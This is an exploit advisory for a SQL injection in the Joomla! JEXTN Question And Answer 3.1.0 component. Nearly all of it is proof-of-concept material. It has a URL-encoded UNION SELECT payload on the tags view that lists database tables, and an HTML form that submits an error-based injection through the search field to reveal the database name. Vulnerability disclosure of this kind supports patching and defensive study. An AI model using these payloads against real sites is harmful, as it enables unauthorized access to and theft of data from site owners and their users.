Joomla! JEXTN Question And Answer 3.1.0 SQL Injection

2017.12.15
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: Joomla! Component JEXTN Question And Answer 3.1.0 - SQL Injection # Dork: N/A # Date: 13.12.2017 # Vendor Homepage: http://jextn.com/ # Software Link: https://extensions.joomla.org/extensions/extension/communication/question-a-answers/jextn-question-and-answer/ # Version: 3.1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # 1) # http://localhost/[PATH]/index.php/en/component/jequestions/?view=tags&an=[SQL] # # %2dVerAyari'%20%2f*!06666UNION*%2f%20%2f*!06666SELECT*/%201%2c(SELECT%20GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=DATABASE())%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2d%2d%20%2d # # # 2) # <html> # <body> # <form name="pagination" action="http://localhost/index.php/en/component/jequestions/" method="post"> # <input name="ques-srch" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="hidden"> # <button id="que_srch">Ver Ayari</button> # </form> # </body> # </html> # # # # #


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